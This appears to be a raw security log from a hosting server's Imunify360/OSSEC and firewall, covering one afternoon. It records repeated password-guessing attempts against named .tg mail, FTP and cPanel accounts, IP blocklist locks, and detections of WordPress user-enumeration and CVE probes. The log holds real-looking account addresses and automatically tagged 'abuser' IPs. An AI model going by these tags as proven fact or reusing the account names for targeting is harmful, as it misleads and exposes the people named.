2026-06-05 14:54:18 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10629: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 80.72.176.171
country_id: 1527747
description:
2026-06-05 14:54:58 H=([80.72.176.171]) [80.72.176.171]:55506 F=<John@4452.com> rejected RCPT <welldrive@confortis.tg>: Sender verify failed


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 208.69.78.7
country_id: 2658434
description:
Jun  5 14:55:04 ns5 pure-ftpd[1748885]: (?@208.69.78.7) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:55:28 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10632: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 14:56:02 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46262: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.178
country_id: 3469034
description:
Jun  5 14:56:06 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:56:33 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10635: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.198
country_id: 3865483
description:
Jun  5 14:56:42 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.198
country_id: 3865483
description:
Jun  5 14:56:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:57:33 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10637: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.84
country_id: 3175395
description:
Jun  5 14:57:35 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.93
country_id: 99237
description:
2026-06-05 14:57:45 dovecot_plain authenticator failed for H=(expiran) [65.20.149.93]:35444: 535 Incorrect authentication data (set_id=admin@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.93
country_id: 99237
description:
Jun  5 14:57:43 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:58:34 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10676: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.84
country_id: 3175395
description:
Jun  5 14:57:47 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.165
country_id: 732800
description:
Jun  5 14:57:53 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 14:59:34 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:33900: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 14:59:35 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10693: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 104.207.35.251
country_id: 6252001
domain: metaart.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:00:36 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10697: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:01:37 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10702: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:02:40 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10705: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:zlecaf-le-togo-evalue-ses-acquis-et-ses-defis/||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:03:47 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10716: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.104
country_id: 798544
description:
Jun  5 15:05:17 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:05:28 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:47372: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:04:48 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10717: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 15:06:08 ns5 pure-ftpd[1757835]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 15:06:12 ns5 pure-ftpd[1757835]: (?@103.245.236.231) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:05:50 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10721: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:06:49 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10722: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.17
country_id: 2750405
description:
Jun  5 15:06:54 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.42.116.17
country_id: 2750405
description:
2026-06-05 15:06:56 dovecot_plain authenticator failed for H=this-is-a-tor-exit-node-hviv117.hviv.nl (o3khrtohk7y1rtpv435b) [192.42.116.17]:41016: 535 Incorrect authentication data (set_id=emmanuel.megbenu@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:07:37 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:53068: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:07:51 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10724: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.112.110.6
country_id: 130758
description:
2026-06-05 15:07:49 H=([5.112.110.6]) [5.112.110.6]:36220 F=<John@4452.com> rejected RCPT <sergdev@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.21.70
country_id: 1562822
description:
2026-06-05 15:09:22 dovecot_login authenticator failed for H=([174.75.211.204]) [27.71.21.70]:13879: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:09:58 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10728: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.88.18.239
country_id: 6252001
description:
149.88.18.239 - - [05/Jun/2026:15:10:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788246&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F06%252F04%252Fcorridor-kara-kabou-la-bad-injecte-50-millions-de-dollars-la-traversee-de-kara-elargie-a-2x3-voies%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780672256 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/06/04/corridor-kara-kabou-la-bad-injecte-50-millions-de-dollars-la-traversee-de-kara-elargie-a-2x3-voies/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.88.18.239


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:11:43 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:34450: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.171.57.253
country_id: 2363686
domain: educplusmedia.tg
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.14||T:APACHE||User:ylhgcaui||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.19.21
country_id: 3469034
description:
Jun  5 15:14:09 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.19.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:14:02 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10740: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:14:32 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:38928: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-05 15:14:50 +0000] info [webmaild] 196.171.46.177 - contact@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.62.2
country_id: 1149361
description:
Jun  5 15:17:06 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.62.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.2
country_id: 1149361
description:
2026-06-05 15:17:08 dovecot_login authenticator failed for H=([103.161.93.53]) [149.54.62.2]:57365: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.16.7.82
country_id: 6252001
description:
Jun  5 15:18:17 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.16.7.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.16.7.82
country_id: 6252001
description:
2026-06-05 15:18:19 dovecot_plain authenticator failed for H=c-76-16-7-82.hsd1.il.comcast.net (sawast) [76.16.7.82]:60240: 535 Incorrect authentication data (set_id=admin@sodigaz.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:20:12 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10743: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.91
country_id: 690791
description:
Jun  5 15:22:38 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.2
country_id: 953987
description:
Jun  5 15:22:16 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.91
country_id: 690791
description:
Jun  5 15:22:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:22:52 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50830: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:24:35 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10748: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 15:26:40 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 15:26:42 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:49538: 535 Incorrect authentication data (set_id=oracle)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:27:54 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:42584: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 90.30.96.223
country_id: 3017382
description:
90.30.96.223 - - [05/Jun/2026:15:29:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194264&pdata=https%253A%252F%252Feducplusmedia.tg%252F2024%252F11%252F26%252Fkoweit-et-togo-mila-aziable-en-mission-pour-lacces-a-leau-potable%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780673344 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2024/11/26/koweit-et-togo-mila-aziable-en-mission-pour-lacces-a-leau-potable/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.3524.1758 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:90.30.96.223


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.23
country_id: 2300660
description:
Jun  5 15:29:08 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.167.36
country_id: 3469034
description:
Jun  5 15:29:30 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.167.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:31:42 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:40494: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.74.124.243
country_id: 6252001
domain: snb.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/web/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:33:58 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:54560: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.216.98.222
country_id: 6252001
description:
2026-06-05 15:35:13 dovecot_plain authenticator failed for H=([10.5.0.2]) [217.216.98.222]:2180: 535 Incorrect authentication data (set_id=eamau@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [05/Jun/2026:15:36:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119831&pdata=https%253A%252F%252Fbutodra.tg%252F2026%252F06%252F04%252Fbutodra-election-des-representants-des-createurs-au-conseil-dadministration%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780673777 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/2026/06/04/butodra-election-des-representants-des-createurs-au-conseil-dadministration/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 15:37:56 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 15:37:58 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64338: 535 Incorrect authentication data (set_id=finanzas)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  5 15:39:04 ns5 pure-ftpd[1784526]: (?@47.84.199.24) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 15:39:28 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:49502: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-05 15:40:04 +0000] info [webmaild] 160.242.195.10 - tgnamey@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.214.30
country_id: 1512440
description:
2026-06-05 15:39:55 H=([37.110.214.6]) [37.110.214.30]:31970 F=<John@4452.com> rejected RCPT <mointie.konlambigue@emt.tg>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-05 15:40:58 +0000] info [webmaild] 102.176.253.226 - dgi@ucao-uut.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 182.242.168.71
country_id: 1814991
description:
Jun  5 15:42:40 ns5 pure-ftpd[1787851]: (?@182.242.168.71) [INFO] New connection from 182.242.168.71


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.214.30
country_id: 1512440
description:
2026-06-05 15:42:42 H=([37.110.214.6]) [37.110.214.30]:24087 F=<John@4452.com> rejected RCPT <mointie.konlambigue@emt.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.110
country_id: 1880251
description:
47.128.122.110 - - [05/Jun/2026:15:41:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185625&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdiplomatie-faure-essozimna-gnassigbe-a-recu-meshal-hamdan-alroqi-nouvel-ambassadeur-saoudien-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780674106 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/diplomatie-faure-essozimna-gnassigbe-a-recu-meshal-hamdan-alroqi-nouvel-ambassadeur-saoudien-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.110


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.7.146
country_id: 2328926
description:
Jun  5 15:42:25 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.7.146 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [05/Jun/2026:15:42:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526103&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprojet-dappui-a-la-gouvernance-economique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780674151 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/projet-dappui-a-la-gouvernance-economique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 101.71.208.245
country_id: 1814991
description:
Jun  5 15:42:32 ns5 pure-ftpd[1787826]: (?@101.71.208.245) [INFO] New connection from 101.71.208.245


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 124.117.194.57
country_id: 1814991
description:
Jun  5 15:43:41 ns5 pure-ftpd[1788425]: (?@124.117.194.57) [INFO] New connection from 124.117.194.57


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 171.105.76.117
country_id: 1814991
description:
Jun  5 15:43:14 ns5 pure-ftpd[1788348]: (?@171.105.76.117) [INFO] New connection from 171.105.76.117


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.214.30
country_id: 1512440
description:
2026-06-05 15:43:23 H=([37.110.214.6]) [37.110.214.30]:8256 F=<John@4452.com> rejected RCPT <mointie@emt.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.76
country_id: 1512440
description:
2026-06-05 15:45:02 H=([213.230.93.178]) [213.230.92.76]:28418 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.214.30
country_id: 1512440
description:
2026-06-05 15:47:28 H=([37.110.214.6]) [37.110.214.30]:9449 F=<John@4452.com> rejected RCPT <mointie.konlambigue@emt.tg>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 181.177.121.21
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.6998.35 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.141.193.42
country_id: 1835841
description:
Jun  5 15:47:34 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.141.193.42 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-05 15:48:08 +0000] info [webmaild] 102.176.253.226 - scolarite@ucao-uut.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:48:19 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13442: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.214.30
country_id: 1512440
description:
2026-06-05 15:48:30 H=([37.110.214.6]) [37.110.214.30]:57073 F=<John@4452.com> rejected RCPT <mointie.konlambigue@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:49:10 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13466: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 15:49:37 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 15:49:39 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55485: 535 Incorrect authentication data (set_id=finanzas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.186
country_id: 3175395
description:
Jun  5 15:49:43 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.198
country_id: 3175395
description:
Jun  5 15:48:55 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.186
country_id: 3175395
description:
Jun  5 15:49:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:50:11 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13494: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-05 15:50:18 +0000] info [cpaneld] 185.213.83.243 - santenatures.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user santenatures.tg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.1.164.64
country_id: 1562822
description:
Jun  5 15:51:03 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.1.164.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
